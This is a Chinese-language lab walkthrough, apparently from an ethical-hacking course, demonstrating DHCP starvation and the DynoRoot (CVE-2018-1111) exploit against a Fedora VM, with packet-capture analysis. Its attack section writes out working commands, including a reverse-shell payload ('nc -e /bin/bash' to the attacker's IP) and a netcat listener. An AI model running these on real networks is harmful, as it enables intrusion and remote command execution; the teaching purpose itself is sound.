如果不是,则可以通过以下方式进行配置:```
sudo nmcli connection down enp0s8
sudo nmcli connection modify enp0s8 IPv4.method auto
sudo nmcli connection modify enp0s8 IPv4.address ''
sudo nmcli connection up enp0s8
要恢复为静态 IP:```bash sudo nmcli connection down enp0s8 sudo nmcli connection modify enp0s8 IPv4.address 192.168.0.99/24 sudo nmcli connection modify enp0s8 IPv4.method manual sudo nmcli connection up enp0s8
## 执行攻击
按顺序执行以下步骤,将演示 DHCP 攻击。
我们建议设置一个终端多路复用器,例如 [Byobu](https://www.byobu.org/),以便于在机器之间切换。
攻击之前:
1. 启动这 3 台虚拟机,它们将自动连接到良性 DHCP
2. 断开 Fedora 机器并清理 DHCP 租约文件,以模拟全新连接
3. 重启 DHCP 服务器,以模拟全新连接
攻击本身包括:
1. 从攻击者发起一系列伪造的 DHCP REQUEST,以 _耗尽_ 良性 DHCP 服务器
2. 启动恶意 DHCP 服务器,它将向受害者发送恶意的 OFFER
3. 重新连接 Fedora 机器,并等待 NetworkManager 广播 DHCP DISCOVER
4. 等待反向 shell 连接
如果出现任何问题,请停止所有相关服务并重新开始。
### 网关
清理旧的 DHCP 租约和 ARP 表,然后重启 DHCP:```bash
sudo systemctl stop isc-dhcp-server
sudo rm /var/lib/dhcp/dhcpd.leases*
sudo ip link set arp off dev enp0s8
sudo ip link set arp on dev enp0s8
sudo systemctl start isc-dhcp-server
tail -f /var/log/syslog | grep --line-buffered 'dhcpd' | grep -E 'dhcpd|attacker|fedora|'
获取新的 DHCP 租约:``` sudo dhclient -r enp0s8 sudo dhclient -v enp0s8
使用 `tcpdump` 记录 DHCP 流量:```bash
sudo ip link set enp0s8 promisc on
sudo tcpdump -i enp0s8 -w attack.pcap 'arp or icmp or port 67 or port 68'
或者,VirtualBox 也可以记录流量:```bash VBoxManage modifyvm "attacker" --nictrace2 on --nictracefile2 capture.pcap VBoxManage modifyvm "attacker" --nictrace2 off
发起 DHCP 饥饿攻击(以 `root` 身份运行):```
sudo su && cd && conda activate dynoroot
python FEP3370-advanced-ethical-hacking/starver.py \
--interface enp0s8 \
--pool-start 192.168.0.100 \
--pool-end 192.168.0.105
使用 netcat 监听来自受害者的连接:``` nc -v -l -p 1337
发起攻击(以 `root` 身份运行):```bash
sudo su && cd && conda activate dynoroot
MY_IP=$(ip -f inet addr show enp0s8 | awk '/inet / {print $2}' | cut -d'/' -f1)
MY_MAC=$(ip link show enp0s8 | awk '/link\/ether / {print $2}' | cut -d'/' -f1)
python CVE-2018-1111/main.py \
-i enp0s8 \
-s 192.168.0.0/24 \
-g 192.168.0.1 \
-d 'victim.net' \
-m "${MY_MAC}" \
-p "nc -e /bin/bash ${MY_IP} 1337"
清理旧的 DHCP 租约并重新连接:``` sudo nmcli connection down enp0s8 sudo find /var/lib/NetworkManager -name 'dhclient-*-enp0s8.lease' -delete
sudo nmcli connection up enp0s8 nmcli
### 分析
#### 视频演示
以下[视频](https://github.com/baldassarrefe/fep3370-advanced-ethical-hacking/blob/main/media/dynoroot.mp4)演示了按照上述步骤执行攻击的
过程。在视频中,可以观察到:
1. `gateway` 与 `attacker` 之间的四次 DHCP 交互
2. DHCP 饥饿攻击,既出现在攻击者的控制台中,
也出现在 DHCP 服务器的日志中(注意由于攻击者已有租约而产生的 `NACK`)
3. 当 `victim` 广播 DHCP `DISCOVER` 时,来自 `gateway` 的“没有可用租约”消息
4. 恶意 DHCP 服务器精心构造的 DHCP 消息,提供 `192.168.0.2`
5. netcat 已收到来自 `192.168.0.2` 的反向 shell 连接的确认
6. `victim` 收到的伪造 DNS 选项,
即 DNS 地址 `192.168.0.1` 和域名 `victim.net`
7. 在受害机上成功远程执行简单命令
8. 攻击结束时发送的 DHCP `RELEASE`
<a href="https://youtu.be/rgjMzQ5ExyA">
<img src="https://assets.kitploit.com/production/public/readmes/23114/de82a8bbb23835dcc4d0836fe7f906d9610b860d02a0e92b903191be840a799c.gif" style="position:relative; left:50%; transform:translateX(-50%); max-width:1000px;" width="90%">
</a>
#### 流量分析
包含攻击痕迹的[捕获文件](https://github.com/baldassarrefe/fep3370-advanced-ethical-hacking/blob/main/media/attack.pcap)可以使用
[Wireshark](https://wiki.wireshark.org/DHCP) 进行分析。在捕获中,我们可以注意到:
1. `gateway` 与 `attacker` 之间的四次 DHCP 交互
2. DHCP 饥饿攻击
3. 由 `victim` 发起并由 `attacker` 完成的 DPCH 交换
4. 当 `victim` 连接到 `attacker` 上的 netcat 会话时,
ARP _who-has_ 请求和应答
<figure style="text-align:center">
<img src="https://assets.kitploit.com/production/public/readmes/23114/4503aa77c165c6b2b669f178171dbea60d054b88b56f5d857918fd257e2c6b94.png" style="max-width:800px;" width="90%"/>
<figcaption>攻击的数据包捕获,与利用相关的 DHCP 选项已被高亮显示。MAC 地址中的字母分别代表:<code>d</code> DHCP 服务器,<code>a</code> 攻击者,<code>f</code> Fedora 受害机</figcaption>
</figure>
## 未来工作
DynoRoot 针对旧的 Fedora 和 RedHat 发行版,并且已在较新的版本中得到修补。
因此,在实际环境中执行此利用的机会有限。幸运的是,DHCP 攻击
并不局限于远程代码执行:任何类型的精心构造的选项都会被客户端接受,
无论是否存在 DynoRoot 漏洞。利用此行为的最简单方法
是将攻击者控制的机器宣传为网络网关或某个区域的 DNS,
从而允许监控、检查和重新路由任何后续流量。
另一个有趣的方向是 DHCP 饥饿攻击。本项目展示的攻击
依赖于用来自伪造 MAC 地址的 `REQUESTS` 泛洪 DHCP 服务器,这并不符合
隐蔽性的定义。这篇博客文章探讨了
[在不发送任何 DHCP 数据包的情况下执行饥饿攻击](https://medium.com/bugbountywriteup/dhcp-starvation-attack-without-making-any-dhcp-requests-bef0022133c9)
但改为依赖伪造的 ARP 应答的可能性。
## 致谢
[CVE-2018-1111](https://access.redhat.com/security/vulnerabilities/3442151) 由谷歌安全团队的
[Felix Wilhelm](https://twitter.com/_fel1x) 向 Red Hat 报告。
用于执行该利用的 Python 脚本来自 [Kevin Kirsche](https://github.com/kkirsche) 的
GitHub [仓库](https://github.com/kkirsche/CVE-2018-1111),并进行了轻微修改以忽略
攻击者自身的 MAC 地址。